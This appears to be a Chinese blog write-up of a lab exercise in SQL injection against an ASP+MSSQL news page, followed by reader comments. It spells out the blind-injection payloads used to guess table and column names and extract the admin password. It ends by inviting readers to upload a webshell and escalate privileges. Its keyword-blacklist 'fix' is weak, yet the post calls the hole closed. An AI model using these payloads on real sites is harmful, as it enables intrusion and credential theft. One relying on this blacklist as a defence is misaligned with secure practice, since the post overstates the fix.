• 博客访问: 2014447
  • 博文数量: 13
  • 博客积分: 176
  • 博客等级: 入伍新兵
  • 技术积分: 219
  • 用 户 组: 普通用户
  • 注册时间: 2011-07-10 19:56
文章分类

全部博文(13)

文章存档

2013年(7)

2012年(3)

2011年(3)

我的朋友
微信关注

IT168企业级官微



微信号:IT168qiye



系统架构师大会



微信号:SACC2013

订阅
热词专题
SQL注入之asp+MSSQL 2012-04-11 10:44:34

分类: 网络与安全

1.1  漏洞发现与确认

根据实验一的扫描结果得知在new_viep.asp网页中存在SQL注入漏洞,用工具“明小子”进行确认。

 

1 SQL注入漏洞确认

1.2  读取数据表中的用户登录帐号与密码

1.2.1  首先测试该注入类型

提交http://。。。。。。/new_view.asp?id=763-1能得到正常页面可知该注入是数字型。

2 判断注入类型

1.2.2  判断数据库类型

提交http://。。。。。。/new_view.asp?id=762 and  (select count(*) from sysobjects) >0 得到正常页面可以得知数据库是MSSQL

3 判断数据库类型

 

1.2.3  猜测表名

未能掌握暴数据库表名的技巧,只好用猜的方法,直到猜测smt_admin为止。

4 猜测表名

1.2.4  猜测列名

猜测有很多技巧,直到猜测列名为:smt_nicksmt_password

5 猜测列名1

6 猜测列名2

1.2.5  猜测数据库内容

用二分法进行猜测数据库内容。首先判断内容长度,使用(select top 1 count(*) from smt_admin where len(smt_nick)<10) >0 语句,将判断长度是否小于10,然后再根据结果进行逼近真正长度值,最后用类似(select top 1 count(*) from smt_admin where len(smt_nick)=5) >0进行确认长度。

7 猜测smt_nick内容长度

同理可以得到smt_password长度为7。图略。

 

得到长度之后同样根据二分法思想得到数据库的真正值。使用(select top 1 count(*) from smt_admin where substring(smt_nick,1,1)<'g') >0 语句,判断smt_nick表第一行数据第一个字符是否比g小,再根据结果逼近准备值,最后用类似(select top 1 count(*) from smt_admin where substring(smt_nick,1,1)=’a’)>0进行确定。依此类推,最后用(select top 1 count(*) from smt_admin where substring(smt_nick,1,5)='admin') >0语句进行确定数据。

由此方法最后可以得到用户名和密码为:admin/******

8 猜测数据库具体数值

1.2.6  猜测后台登陆路径

在主页路径输入admin即可得到后台登陆页面。

9 后台登陆页面

1.2.7  验证账号密码

用刚刚得到的用户名密码:admin/******进行登陆。

11登陆成功

1.3  漏洞修补

此实验过程中所利用的SQL注入漏洞存在于new_view.asp网页中,SQL注入漏洞的产生的根源在于该网页没有对传提交的参数进行审查直接访问数据库而导致的。所以在此页面源码首部添加语句:

<!--#include file="nosqli.asp"-->

然后在网站根目录下建立文件:nosqli.asp

以下为nosqli.asp源码:

<%

dim sql_injdata

SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|+|-|or"

SQL_inj = split(SQL_Injdata,"|")

If Request.QueryString<>"" Then

 For Each SQL_Get In Request.QueryString

  For SQL_Data=0 To Ubound(SQL_inj)

   if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))0 Then

    Response.Write "Script Language=javascriptalert('请不要在参数中包含非法字符尝试注入!');history.back(-1)/Script"

    Response.end

   end if

  next

 Next

End If

 

If Request.Form<>"" Then

 For Each Sql_Post In Request.Form

  For SQL_Data=0 To Ubound(SQL_inj)

   if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))0 Then

    Response.Write "Script Language=javascriptalert('请不要在参数中包含非法字符尝试注入! ');history.back(-1)/Script"

    Response.end

   end if

  next

 next

end if

 

%>

1.5  漏洞修补确认

按如上方法修补漏洞后,该网页的漏洞已清除。

15 漏洞已经清除

 

 

到目前为止已经成功登陆网站后台,剩下的工作就是上传Webshell与提权,具体如何操作留给各位读者各自发挥吧,本文只是简单介绍了下ASP+MSSQL的一个实例,希望大家一同进步。

阅读(1499264) | 评论(7) | 转发(0) |
0

上一篇:vbs 字符串函数

下一篇:Linux 常用命令

给主人留下些什么吧!~~

我要去鸟巢2012-04-16 22:31:55

呵呵,不错的博文,顶一个,博主研究很深

terrying2012-04-15 22:42:02

最乖啦啦: asp防止SQL注入函数是什么原理???.....
检验所提交的URL参数是否有非法字符,像'(单引号),and, from等这些都列为非法字符。

最乖啦啦2012-04-15 21:31:03

asp防止SQL注入函数是什么原理???

4大爷2012-04-15 21:24:28

楼主好人,直接教程发到空间吧,大家都看看。。

terrying2012-04-15 10:25:26

常虫清: ASP+mssql 不知道怎么配置 ,求解释一下~~.....
最近时间有点不够用,有空的话弄个教程给你。

评论热议
请登录后评论。

登录 注册